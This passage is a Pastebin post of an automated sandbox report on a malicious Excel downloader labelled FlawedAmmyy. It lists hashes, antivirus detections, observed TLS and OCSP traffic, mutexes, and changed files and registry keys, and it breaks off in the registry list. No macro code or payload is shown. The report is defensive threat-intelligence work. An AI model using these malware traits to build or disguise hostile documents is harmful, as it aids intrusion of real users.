API tools faq
paste
paladin316

flawedammyy_50ff2a788c7ecc088e703cda874394cb_xls.json

paladin316
Jun 20th, 2019
2,153
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 137.74 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "flawedammyy_50ff2a788c7ecc088e703cda874394cb.xls"
  7. [*] File Size: 172032
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Microsoft Office, Last Saved By: alex, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jun 19 17:19:06 2019, Last Saved Time/Date: Wed Jun 19 17:42:15 2019, Security: 0"
  9. [*] SHA256: "0e91e6e17f8c8e2f1ae29e13f116c8611cb7679607695eed355025295fb1999a"
  10. [*] MD5: "50ff2a788c7ecc088e703cda874394cb"
  11. [*] SHA1: "2755cb7a957bae5c543147ab3f403a2918e66e56"
  12. [*] SHA512: "249321f005f5b0c0f3172009ec99c441c1830b11d923f557cea4e34587e7f76468d536e7fc2b302c52e07332fc9c959223e7eaa91f9be87cbb1434bf32ff74fd"
  13. [*] CRC32: "3894557C"
  14. [*] SSDEEP: "3072:j8ihKpb8rGYrMPelwhKmFV5xtezEsgrdgzLwQdh4Mj2IxKC+l1e1qn8/H7yr0KUv:j8ihKpb8rGYrMPelwhKmFV5xtuEsgrdy"
  15.  
  16. [*] Process Execution: [
  17. "EXCEL.EXE"
  18. ]
  19.  
  20. [*] Signatures Detected: [
  21. {
  22. "Description": "Attempts to connect to a dead IP:Port (6 unique times)",
  23. "Details": [
  24. {
  25. "IP": "52.109.20.4:443"
  26. },
  27. {
  28. "IP": "65.52.98.231:443"
  29. },
  30. {
  31. "IP": "104.18.24.243:80"
  32. },
  33. {
  34. "IP": "23.4.43.27:80"
  35. },
  36. {
  37. "IP": "72.21.91.29:80"
  38. },
  39. {
  40. "IP": "52.109.2.14:443"
  41. }
  42. ]
  43. },
  44. {
  45. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  46. "Details": [
  47. {
  48. "ioc": "5.ex"
  49. },
  50. {
  51. "ioc": "stdole2.tlb"
  52. },
  53. {
  54. "ioc": "orms.exd"
  55. },
  56. {
  57. "ioc": "nc.100."
  58. }
  59. ]
  60. },
  61. {
  62. "Description": "Performs some HTTP requests",
  63. "Details": [
  64. {
  65. "url": "http://t2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D"
  66. },
  67. {
  68. "url": "http://tl.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D"
  69. },
  70. {
  71. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  72. },
  73. {
  74. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  75. },
  76. {
  77. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  78. },
  79. {
  80. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  81. },
  82. {
  83. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  84. }
  85. ]
  86. },
  87. {
  88. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  89. "Details": []
  90. },
  91. {
  92. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  93. "Details": [
  94. {
  95. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01p\\xaf.b!\\x03\\x8d!z0\\x0ez(\t\\x1b\\x80\\xd2\\xb6\\xd0\\xb9]%\"6%\\x86\\xdf\\x05`m\\x04\\xdfw\t\\xe5a#\\xed\\xa7\\xe4\\xe3o\\x82x\\x7f\\x97\\x03\\x95\\xe9m\\xf1\\x14,d>*\\xab+\\xac^\\x9f\\x8ahf\\x1f\\xaf\\xd4\\xb2f\\xad\\xe4\\x8e\\xb0\\x89d\\x9e\\xf7\\xed\\xb6\\xac\\xa1\\xc6=\\xe7(\\x82u\\x17g\\xd8@\\xd5\\xa7`m\\xc4\\xc3\\x18(*\\xa8z\\x1bhdb\\xaf\\x9a\\x8b\\xdf\\xe2\\xf2\\x80h\\xf6\\xfa\\xb7\\x1e\\xb1\\xd1bl\\x886\\x11\\xa7je\\xedh\n\\x13\\xcf\\x87\\xb27\\xdc\\x11\\xa8w\"\\x14\\xce\\x1a\\x0b\\x85\\xe2\\x84\\xfb}c%\\xcd\\xa3\\xb7\\xc9}\\xef\\x9f\\x03w\\x15\\x18\\x06\\xb1\\x8b\\xce\\x16\\xe8.\\xc2b\\xe8\\x1f\\x15$%\\xcd\\x8e\\xd7\\x90&hc&j\\x89\\xc5y<e\\x88\"[\\xae^\\xd1jbh\\xf0\\x80/\\x95\\xd4\\xea\\xa2\\x98sb/\\x83,\\xf0\\x8e\\xaa\\x89\\xa0\\xa7\\x7fg\\xb5g-\\x952\t\\xf0\\xab\\xbe\\x84i]\\xf6s\\xd1\\xf7\\x08\\x11\\xb92\\x04\\xf76\\xdc\\x18yf\\xbd\\xf5\\xe8h"
  96. },
  97. {
  98. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0b\\xe4\\xf4rgk\\xb3\\xa6r\\x9a\\xc0p\\xc8k\\xab \\x7f\\x11qddy\\xda(\\x87r\\xe7m\\x1bj\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  99. },
  100. {
  101. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbqwf4prw9s7mcbcehd%2fyl6nwpkczaque1tfz6%2foy3r9mziaarbzrutxsfacehggtzav3bgvwjsrmhjuvms%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: t2.symcb.com\r\n\r\n"
  102. },
  103. {
  104. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9\\xc3ag5o\\xf0o\\x05!7\\xf0\\xf4sd\\xe56\\xcc\\x82i\\x07\\xdb\\xa0\\xd96\\x92\\xb2\\xd1\\xcd\t\\xee\\x94uv\\x95\\xeb\\xfe\\xd9/ \\x06\\xaa\\xbc\\xa3\\xb7\\xc4\\xed\\xb9\\xa7=\\xfd<\\x9c\\x13\\xec\\xb6\\x98?2\\x9ap\\x83kc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\t\\xf8\\xd3^^\\xa6\\xa8\\xba@k\\x1d\\xe4\\x9b\\xea4\\xa44\\x8a\\x07(\\x8f\\x1b\\x82=\\x97\\x83apx\\x13\\xf5ph\\xfc\\x12\\xbe\\xe3\\xfd\\xdcg\\x0b\\x93\\x0e!?t\\xa2}"
  105. },
  106. {
  107. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbsfbjxn%2bwy73bfunsop7hdkj%2fbx0wquv4abvli%2bpimk5pbc4hmyiyxn3lcceeoxfsntimrcpdnpmcvxczc%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: tl.symcd.com\r\n\r\n"
  108. },
  109. {
  110. "http_request": "excel.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\ncache-control: max-age = 89056\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 mar 2019 18:30:24 gmt\r\nif-"
  111. },
  112. {
  113. "http_request": "excel.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  114. },
  115. {
  116. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01p\\x17b\\xe9p\\x84\\xb8bi^h1\\x8es\\xbc\\xa2\\xf4\\xc3\\x91\\x90w9\\xa9\\x01\\xe7h\\xbb\\x82j\\x04\\xca\\x00\t\\x05<\\xa5w\\x9f\\x9e\\x85b\\xc0&\\xc7p\\xb2\\xe4\\xa8\\xdb]\\xa9\\xf63\\xcc\\x16&\\xda\\x8f\\x04\\xe8\\xae\\xf9\\x01r\\x86\\x87\\x89\\x1e\\xbd\\xc2\\xa0@\\x8cj\\xa0\\x9c\\xba6\\x9f-d\\xc5\\xba\\x7f\\xd7\\x1d\\x12\\xcbb\\xb5u\\xd6\\xd4\\x0b\\xe2q\\x1a\\xf8\\x06p\\x87\\xbe\\x15:m\\xde\\xfbvlh\\xb5%\\x94f@\\x9d\\xc2\\x03\\x96\\xea\\x06_m\\xcb\\xb7\\xf4\\xb9\\xcb4?k\\xe6\\xe5\\x95\\x1d\\xc8g0t\\x8a @\\x1e\\xc731\\x17\\xcct\\xa7\\x95\\xa1~{\\x9d\\x0e\\xa3\\xb2\\xf0hu\r5\\x87\\xc7ig=h.\\xfd1\\xae\\x04\\xb4\\x96zc\\xab\\\\xb3k\\xbaz\\x9d\\xfe!!\\x0b\\xf2if\\x8c\\x08\\x91\\x8ew\\xdb\\xa3\\xa2t\\xb7\\x96\\xc8\\xef\\xcdhu\\xc4\\xba@\\xd1qt\\xaao\\x8ev\\x85\\xba\\x8c\\x1a\\x98ta\\x94\\xb3 *\\xdc\\xee\\xff\\x15\\xdf\\xf2\r\\xe3\\xbcq\\xbf\\x07h\\xe3\\x8f/\\xf7\tj\\x8c\\xaasu"
  117. },
  118. {
  119. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x02 ;\\xb0x\\xdd\\x8b\\xd7\\x19z\\xd4\\x10\\xea\\xdf\\x1c~{)\\xd3\\xcc\\xa2\\xcao\\xbc<\\xbc+\\x92q\\x946\\xdf\\xec\\xb4\\xba\\xcd\\xe1\\xc7\\x87\\xabn\\x9fl>\\xcft!)\\xaev\\x9b\\x0b\\x10\\xb0\\xc4\\xd5\\xf3.r\\xeb:\\x10\\x06\\x8f\\xe4\\xbdy\\xa5 )\\x059\\x03p\\xbe\\xcd\\x0e\\xc2\\xe0\\xe89\\xd1\\xa6\\x12t\\x154\\x1en\\xcd\\x0c*_\\xf7\\x0cr\\xc4z\\xaf\\x19\\xf1>\\xf4\\xde0z\\xc1\\x98\\x17\\x92\\x87\\xc7;\\xa7\\x95\\x0b(sd\\x9a\\x86\\xf6\\xd1?\\xcc\\xe5\\x1f\\xfc\\x0e]\\xcb\\xb3\\xa3p\\xe1\\x9b\\xa2\\x1d\\xf1i\\xb8v\\x94\\xe9\\xd5q\\x97\\x1c\\x90\\xaf\\xce\\xbf\\xf9q\\xc7\\x86q\\xd4;\\xd3\\xeb\\xe5\\xd3t\\xcf\\x03\\x96\\x07n{o\\xc7\\xade\\x1b<\\xdeu\\xdf\\x06\\xd2st\\xd5csr\\x86\\xdco\\xd4\\xcc\\x05x0r2=\\xa6\\xb4\\x97g\\xcd`\\xcec-\\x13\\xf7\\xd5t\\xc2^\\xa4\\xd4\\x91\\xe6[\\xe4&\\x82\\xcb1q9\\xd44naf\\x1a\\xc17\\x83^\\xb1\\xe4\\xf3~\\x08'?\\xfc\ra\\xc1+\\xcbr\\xee\\xa8h\\xf3"
  120. },
  121. {
  122. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0b\\xe4\\xf7\\xa8\\xc0b\\xc14\"\\xe2\\xbf\\xb7\\x9f&\\x04\\xa2\\xa2\\x85k\\x0b\\xec\\xc0\\xbew3\\xc6\\x00\\x8b\\xddx\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  123. },
  124. {
  125. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf4\\xb0\\xde\\xbd(\\x98\\x8f\\xa4\\xd4\\xda\\xd89\\xc5+\\x9c\\xae\\xf6\\xe4\\xab\\xa1\\x8dq\\x17{\\xc7wo\\x8f:e\\xc1v\\xf7\\x8a\\x9f\\xbd\\x02k\\xadi\\xa9d\\x81\\xa6\\x0b\\x00\\x8a\\x08\\x0e\\x00\\xea\\x00\\x1c\\xa3\\xfe\\x8c\\xc8qa\\x08\\xdds\\x828\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa2um\\xaf\\xad\\xb0\\xda\\xd8\\x99\\x94\\x99\\xc8\\x8c\\x1c\\x7f\\xc0+\\x1fl\\xc2\\x16\\x17\\xc6s\\x17k\\xe8%\\x80i\\x1as\\xbb\\x94_\\xae5\\xb9\\x10\\x08s\\x17\\xd8\\xba\\xd0\\xb8\\x10;"
  126. },
  127. {
  128. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01pl\\xf1\\x9e\\xc11\\xd8k\\x18d\\x96g\\xd7\\xae\\xfb\\x0f\\xb1\\x81\\x19\\xc1\\x93\\x87p\\x9dz7\\xab$\\xdf/\\xe5\\xd8z\\xf6\\x1d\\xc5\\x03\\xc4e\\xdd8 `mg}\\xcc\\x8f_\\xf3(\th?\r\\xf9\\xd6\\xba\\x87\\xcd`>z`\\xa1f\\xcb\\x81=\\xd00\\x9f\\xa0\\x1b\\x9f\\xae\\x8a\\x05\\x93\\x15\\x8c\\xc4\\xbd\\xe8\\x86\\x94\\x01\\xe9\\x9d\\x0e\\x02\\x9f-\\xd7\\x1e\\x13p\\xb2\\xcf\\x06]\\xa0\\xaa\\xe3\\x10\\xb1k\\xf5\\xf5:o!\\x14`'z\\x7fvs\\xa1p\\=kx\\xed\\x186\\x82m\\xc7\\xe5s\\xe9\\x0b\\xd4x\\xb2\\xb4\\xe2\\xc6\\xc0\\x1e\"7(%\\x88\\xedw\\xd6\\xd4\\xae\\xc6\\xd8\\x0b\\xb1\\x8e\\xf2\\xffpx\\xa3\\x1e\\xf4hg\\xf1\\x1b\\xf4\\xc2\\x13\\x8ehn\\x04\\xd9\\x8a9r\\x16\\xb5\\xddua\\x89=3\\xc4\\x0cy[\\x03\\xee|\\sb\\xce\\xab\\xb5\\x1c\\xebs_a\\xb5\\xa4\\xc3\\x14\\x05z\\x99d-\\x08\\xe7sb\\x97\\xe4\\x7f\\xfd\\x92\\xd0\\x1d\\xa7x\\xd2\\xf9f$]t4x\\xc9\\xach1|\\xa2whq\\xads\\x11\\xb4\\xba\\xcf;"
  129. },
  130. {
  131. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x0b\\xe4\\xff\\xaa&\\xe0\\xd9nworwbh\\x08\\xb3\\x15\\xbc}\\xd5p\\xac\\xfc\\x89\\xe1\\xcbw\"\\xf5\\xd6\\xd9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  132. },
  133. {
  134. "http_request": "excel.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x9ah\\xe1;(s3=~\\xab\\xf1\\xb6\\x10b\\x07\\x90\\xd6z\\xa8e\\xe1\\x0c\\xcc,\\xb0z\\xa0\\xdc\\xac\\xed?g]\\xcd^\\xc5wg}\\x9ar\\x06\\xae\\x85h\\xe6&p\\xbfx\\x7f\\xd6\\xc6\\x97\r\\xaa\\xe3\\xac\\x8f<\\x975v\\xe2\\xb39ch\\xc2\\x0cyr\\x87\\xdd\\x97\\xfe\\xc3y\\x82v\\xe7\\xef1\\xb0>\\xb3\\xfb\\x8c+d\\xf2\"\\xc2\\xff\\x81\\xc2<5\\xfey\\x1b\\x07=\\xb9b3i\\xb0\\x9b\\xe3\\x00\\x92\\xf56c\\xda\\xe3iv\\xed\\xde\\x9da\\xa3a\\xae&\\xae\\xc2j\\x9a\\x16\\x19\\xde}\\xd4\\xe9\\xe4\\x15\\x0b~\\xf0&5\\xdb\\x15\\xead\\x17f\"\\xe1<3uq\\xacu\\x08y\\xc4\\x95\\x89\\x95\\xffb\\xf0\\xf1\\xb1\\xe4\\xfa\\x00xfl\\xa4\\x95\\x98g\\xee8\\xaftj\\x12\\x88\\x1an\\x8a\\xecu\\xc2\\xff\\x01\\x90\\xfdv\\x0f0\\xc8\\x9buk$\\xa9p/g\\xde\\x81\"a\\x97\\xc6#\\x98cs\\x8d\\xef\\xe2bp\\x8bi\\xc9\\xa8\\x1d\\xeea\\xd2f\\xb3\\xa9\\xad\\xab\\xf1\\x93\\xe3\\xbf\\x9d\\x83\\xab,v"
  135. },
  136. {
  137. "http_request": "excel.exe_WSASend_\\x17\\x03\\x01\\x01`\\xdcsd\\x01\\x0f\\x8e\\xce\\x03\\xd6{f\\xd7?\\x98\\xca\\xcc\\x15\\xe3\\x03c~\\xf9\\x1c\\xab\\x8d?\\x99b&\\xdb\\x99g\\x8d]\\xa0\\x9a\\xddq\\x8f#\\x9a\\xadzh\\xd6\\xd0\\x93\\x1d\\x95[3\\xb4i#k\\xb56m\\x98\\x9d\\xa2\\x1b\\xc2\\xd9\\x81\\x9el8e\\xd1\\x08\\xa4\\x90\\x08\\x15-\\xde\\xea\\xb1i\\xaalia\\x1c\\xe0\\x904\\xbc\\xa5\\x16y\\xcdl\\xa2n\\x04\\xf1\\xb9^\\xd8!\\x9ft\\xb3\\xd8<\\x96\\x13oq\\xd1\\xc9)h=@,\\x881=\\xd1zv\\x06\\x9a\\x18\\xc2\\xc6\\xa45m\\xf7\\x0c\\xa4q\\xba\\x9d\\xd5\\xb0/\\x01\\xc8kr\\xb0 g\\xfa\\x17x\\xc8\\x9f\\xd1\\xf0\\xef\\xb0\\xa1\\xae\\x01\\xc9\\xd3\\xd8g\\x8d0\\x07j\\x1a%\\xbd\\xc8\\xa5\\x1b\\x101@\\xc9\\xc4\\xe6o\\x07\\x08pq%k\\xff\\xe86\\xa0m\\xae\\\\xb4\\x1b\\xec]n*w\\x9c\\xde/\\x90\\xa94\\xfe\\xcb(\\xa6d\r\\x9aq\\x85\\xa3)\\xfe\nq\\x92\\xc6\\xa1:\\x88p\\xfd\\xed\\x03!\\xd4\\xb3\\xb1&+\\xf3\\x86q\\x11a\\xben\\x7f~1\\x180\\xd7j("
  138. },
  139. {
  140. "http_request": "excel.exe_WSASend_\\x17\\x03\\x019pop{\\xd8\\xe3\\xc0\\xbezx\\\\x08\\xab\\x1a\\xe5\\x07\\x96\\x91p\\xa7\\xc9\\xbb\\xc1xag\\xfaa\\xe3*\\xe7\\x96\\xa0='\\xdc#\\xc1\\x0f\\xc89]&\\x9b\\xa4\\xe9\\xaa\\xb6\\x82y?7\\xcf\\x11y2\\xaf\\xb3'\\xea@\\xe0\\xff\\xc4\\x82\\xcen\\x0b\\xbd\\xc9ft\\xe3c)g\\xf8\\x84p1\\x10\\xca\\x00uh\\x15j\\xcbb[\\x89u\\xdd\\xcd\\xf8\\xceos\\x82\\x87\\xb9\\xbc\\x8dc`\\xd4\\x9abd\\xb90~ln+\\xbc\\x14ik\\x02\\xf8\\xbf\\xb9\\x07\\xf6\\x10c\\x89\\xdb\\x1b\\x07\\xf2\\xfc$]\\xd7\\xa9@ \\x1dng\r\\x11|)|\\x9d\\xd7@\\xa6\\x1b\\xf7@\\xb1\\xd9\\x08\\x96\\xf1\\x08)g\\xb8\\xf0\\x06}\\x81)\\xe5\\xf9r\\xa1\\xec;qc\\xb3i\\xd7\\x7ff\\xf3\\xf3e\\x1amj\\x93d\\x00\\xd9~2at\\xe8\\x1a\\xcbx\\xa7v\\x92?\\xe3\\x9f\\xd2\\xbex\t\\xad<\\xfa\n2k\\x8c\\xbf\\x0c/\\x0b\\x97\\xf1(\\x1c\\xbe\\x919j\\x85\\x12\\x95-\\x06!\\x9e]u&\\xf8-\\x80)\\x14\\xf1\\x7fs\\x82\\x9e\\x87\\x14t\\xe2"
  141. }
  142. ]
  143. },
  144. {
  145. "Description": "File has been identified by 19 Antiviruses on VirusTotal as malicious",
  146. "Details": [
  147. {
  148. "McAfee": "RDN/Generic Downloader.x"
  149. },
  150. {
  151. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  152. },
  153. {
  154. "F-Prot": "New or modified X97M/Agent"
  155. },
  156. {
  157. "Symantec": "X97M.Downloader"
  158. },
  159. {
  160. "TrendMicro-HouseCall": "Trojan.X97M.FLAWEDAMMYY.D"
  161. },
  162. {
  163. "Kaspersky": "HEUR:Trojan.MSOffice.Alien.gen"
  164. },
  165. {
  166. "ViRobot": "XLS.S.Agent.172032"
  167. },
  168. {
  169. "Endgame": "malicious (high confidence)"
  170. },
  171. {
  172. "DrWeb": "Exploit.Siggen.23570"
  173. },
  174. {
  175. "McAfee-GW-Edition": "BehavesLike.Downloader.cb"
  176. },
  177. {
  178. "Cyren": "X97M/Agent"
  179. },
  180. {
  181. "Microsoft": "TrojanDownloader:O97M/Donoff"
  182. },
  183. {
  184. "ZoneAlarm": "HEUR:Trojan.MSOffice.Alien.gen"
  185. },
  186. {
  187. "TACHYON": "Suspicious/X97M.Downloader.Gen"
  188. },
  189. {
  190. "AhnLab-V3": "MSOffice/Xprocess"
  191. },
  192. {
  193. "ALYac": "Trojan.Downloader.XLS.gen"
  194. },
  195. {
  196. "Zoner": "Probably W97Shell"
  197. },
  198. {
  199. "Rising": "Downloader.Msiexec/VBA!1.B93D (CLASSIC)"
  200. },
  201. {
  202. "Ikarus": "Trojan-Downloader.VBA.Agent"
  203. }
  204. ]
  205. },
  206. {
  207. "Description": "The office file has 2 macros.",
  208. "Details": [
  209. {
  210. "malicious_author": "The file appears to have been created by a known fake author indicative of an automated document creation kit."
  211. }
  212. ]
  213. }
  214. ]
  215.  
  216. [*] Started Service: [
  217. "osppsvc"
  218. ]
  219.  
  220. [*] Executed Commands: []
  221.  
  222. [*] Mutexes: [
  223. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  224. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  225. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  226. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  227. "KYIMEShareCachedData.MutexObject.user",
  228. "KYTransactionServer.MutexObject.user",
  229. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  230. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000"
  231. ]
  232.  
  233. [*] Modified Files: [
  234. "C:\\Users\\user\\AppData\\Local\\Temp\\flawedammyy_50ff2a788c7ecc088e703cda874394cb.xls",
  235. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF59923131E3917C0B.TMP",
  236. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  237. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2",
  238. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2",
  239. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  240. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  241. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8EB35376744F392396307460D546222D_EE5928A1ED966A8C624D452A3935C970",
  242. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8EB35376744F392396307460D546222D_EE5928A1ED966A8C624D452A3935C970",
  243. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab20C2.tmp",
  244. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar20C3.tmp",
  245. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFBF3E598C0931824B.TMP",
  246. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  247. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E"
  248. ]
  249.  
  250. [*] Deleted Files: [
  251. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab20C2.tmp",
  252. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar20C3.tmp",
  253. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Excel_restart.xml",
  254. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFBF3E598C0931824B.TMP",
  255. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR1288.tmp.cvr"
  256. ]
  257.  
  258. [*] Modified Registry Keys: [
  259. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems",
  261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems\\d}v",
  262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery",
  263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D69175",
  264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\1D69175\\1D69175",
  265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
